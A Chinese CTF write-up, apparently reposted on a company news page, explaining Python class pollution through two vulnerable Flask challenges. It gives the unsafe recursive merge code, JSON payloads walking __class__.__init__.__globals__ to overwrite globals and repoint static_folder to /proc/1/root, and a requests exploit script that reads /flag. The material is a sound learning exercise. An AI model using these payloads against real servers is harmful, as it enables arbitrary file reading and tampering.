尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

原型链污染学习

原型链污染学习
📅 发布时间:2026/6/19 1:02:55

目录
  • 示例题目
    • 题目1
    • 题目2
    • 思路
      • 如何找到修改的变量?(题目1思路&步骤)
      • 题目2思路
      • 题目2做题步骤

前两天在打几场新生赛练手的时候,遇到了两三道关于python原型链污染的基础题,发现这方面知识点还是匮乏,所以以这两道题目为例来顺便学习一下,补充基础漏洞的学习.

示例题目

题目1


from flask import Flask,request,render_template
import jsonapp = Flask(__name__)def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)def is_json(data):try:json.loads(data)return Trueexcept ValueError:return Falseclass cls():def __init__(self):passinstance = cls()cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():return render_template('index.html')@app.route('/flag', methods=['GET', 'POST'])
def flag():with open('/flag','r') as f:flag = f.read().strip()if cat == dog:return flag else:return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():return open(__file__, encoding="utf-8").read()@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():if request.is_json:merge(json.loads(request.data),instance)else:return "fail"return "success"if __name__ == '__main__':app.run(host='0.0.0.0',port=5000)

题目2

from flask import Flask, request, render_template
import json, osapp = Flask(__name__)def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class Dst():def __init__(self):passGame0x = Dst()@app.route('/', methods=['POST', 'GET'])
def index():if request.data:merge(json.loads(request.data), Game0x)return render_template('index.html', Game0x=Game0x)@app.route('/<path:path>')
def render_page(path):if not os.path.exists('templates/' + path):return 'Not Found', 404return render_template(path)if __name__ == '__main__':app.run(host='0.0.0.0', port=9000)

大概看一眼我们就会发现,其实这类题目最重要的其实是merge(src, dst)函数.所以我们单独拿出来分析理解一下:

def merge(src, dst): #传参源字典和目标字典for k, v in src.items(): # 从src中拿出键值# base case#1. 判断目标是字典if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict: # 判断是否有对应的值作为键,且有嵌套merge(v, dst.get(k))else:dst[k] = v # 如果没有直接赋值#2. 目标是个对象,且有源字典对应的键作为属性,并且源字典有嵌套elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) #则递归合并#3. 如果什么都不是,则直接给dst一个属性k,并赋值为v,相当于执行 dst.k = velse:setattr(dst, k, v)

总的来说,这个函数通过递归来合并src,dst两个字典.

我们先来看第一题,题目中得到flag的条件如下:

cat = "where is the flag?"
dog = "how to get the flag?"@app.route('/flag', methods=['GET', 'POST'])
def flag():with open('/flag','r') as f:flag = f.read().strip()if cat == dog:return flag else:return cat + " " + dog

如此可见我们只要让我们的cat字符串等于dog字符串即可得到flag.

思路

怎么改呢? 这就要用到刚刚讲到的merge函数了.merge函数在主路由中被调用,我们只需要传参特定的json格式的数据,该数据会和Dst()类的实例进行merge,进而改掉dog字符串的值.再之后我们访问/flag路由就会返回flag字符串.

如何找到修改的变量?(题目1思路&步骤)

demo:

class Cls():def __init__(self):pass
cls = Cls()
cat = "Mow"
dog = "Woof"
print(cls.__class__.__init__.__globals__)'''
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002BAD2EC4A90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'd:\\OneDrive\\Desktop\\1.py', '__cached__': None, 'Cls': <class '__main__.Cls'>, 'cls': <__main__.Cls object at 0x000002BAD2F0BFD0>, 'cat': 'Mow', 'dog': 'Woof'}
'''

这里的返回结果可以看到有我们在global frame中定义的所有变量,包括了cat和dog.这是为什么呢?

原理:

我们来仔细看看这个继承链: cls.__class__.__init__.__globals__

  1. cls 是我们定义的一个Cls类的实例;
  2. cls.__class__则表示它的类,也就是Cls();
  3. cls.__class__.__init__ 观察类,我们发现他有一个__init__类函数,当然这里也就自然是指它了;
  4. cls.__class__.__init__.__globals__至于__global__则是指global frame ,会返回__init__所在全局的变量,而自然其中就会有我们在global命名空间中定义的cat和dog变量了.

到了这里我们就会发现,目前的返回值是一个字典,那我们就可以直接拿到它的变量值,并进行修改.

现在我们回到题目来看:

​ instance.__class__.__init__.__globals__["dog"]这样就会获取到dog的值,然后将他改为cat的值.

相应的json数据如下:

{"__class__" : {"__init__" : {"__globals__" : {"dog": "where is the flag?"}}}
}

发送到/pollute污染路由之后我们访问/flag路由即可看到:

tmpF9C9

题目2思路

我们已经明白其中的原理了,那么也就可以以不变应万变,万变的是题目,而不变的是我们能够灵活引用的根基.

同样有merge函数和更改路径,但是要改什么呢?打开环境往下看,

这道题访问/flag路由的提示说是:flag 其实就在 /flag 里,但是为什么拿不到呢?

推测是/flag指的是后端服务器上的根目录下的文件.

那要怎么拿到呢?

这里要提到一个豆知识:在flask应用中全局变量中的app变量是指 Flask 应用实例 app.他有一个static_folder属性(静态文件根目录),默认值是/static,假如我们把/static路由映射到root进程的根目录/proc/1/root下,那么我们就可已通过访问/static/flag,访问到物理地址的/flag了.

题目2做题步骤

  1. 构造json

    {"__class__" : {"__init__" : {"__globals__" : {"app": {"static_folder": "/proc/1/root"}}}}
    }
    
  2. 向主路由发送json数据之后访问/static/flag得到flag.

    import requestsbase_url = "http://nc1.ctfplus.cn:32196/"json_data = {"__class__" : {"__init__" : {"__globals__" : {"app": {"static_folder": "/proc/1/root"}}}}
    }requests.post(base_url, json=json_data)req = requests.get(base_url + "static/flag")
    print(req.text)'''
    0xGame{Welcome_to_Easy_Pollute~}
    '''
    

参考:

正规子群 • 0xGame 2025 Week1 WriteUp

相关新闻

  • 重新认识 Golang 中的 json 编解码
  • 关于价值原语与AI元人文构想的对话全记录——DeepSeek研究
  • Pytorch66页实验题

最新新闻

  • 深空CV实战:计算机视觉在航天任务中的硬核落地
  • OpenAI可解释机器学习教学法:重构神经网络决策叙事
  • KES 数据库迁移实战:从 Oracle/MySQL 到 KingbaseES 的平滑过渡指南
  • LangGraph重试策略:如何构建高可靠的AI工作流自动恢复机制
  • 深入解析MPC850FADS子板:PowerPC嵌入式开发硬件设计与调试实战
  • MQX RTOS MFS嵌入式文件系统:原理、API实战与性能调优指南

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号